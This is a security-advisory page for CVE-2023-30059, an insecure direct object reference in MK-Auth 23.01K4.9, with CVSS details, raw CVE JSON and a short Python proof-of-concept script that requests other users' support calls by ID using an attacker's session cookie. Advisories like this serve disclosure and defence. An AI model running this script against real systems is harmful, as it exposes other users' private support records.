Security Vulnerability Report
中文
CVE-2023-30059 CVSS 5.4 MEDIUM

CVE-2023-30059

Published: 2026-05-12 16:16:12
Last Modified: 2026-05-13 15:48:12

Description

An insecure direct object reference in MK-Auth 23.01K4.9 allows attackers to access and send support calls for other users via manipulation of the chamado parameter through a crafted GET request.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MK-Auth 23.01K4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_idor_vulnerability(target_url, session_cookie, target_chamado_id): """ PoC for CVE-2023-30059: IDOR in MK-Auth """ headers = { "Cookie": f"PHPSESSID={session_cookie}" } # The vulnerable endpoint usually looks like /path/to/support?chamado=ID params = { "chamado": target_chamado_id } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed chamado ID {target_chamado_id}") print(f"[+] Response content snippet: {response.text[:200]}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {e}") return False # Usage Example # Replace these with actual values from the target environment target = "http://target-ip/mk-auth/system/url" session = "valid_attacker_session_id" victim_id = "1002" # ID guessed or enumerated check_idor_vulnerability(target, session, victim_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-30059", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:12.137", "lastModified": "2026-05-13T15:48:11.537", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insecure direct object reference in MK-Auth 23.01K4.9 allows attackers to access and send support calls for other users via manipulation of the chamado parameter through a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/yueslly/MKAUTH-IDOR", "source": "[email protected]"}]}}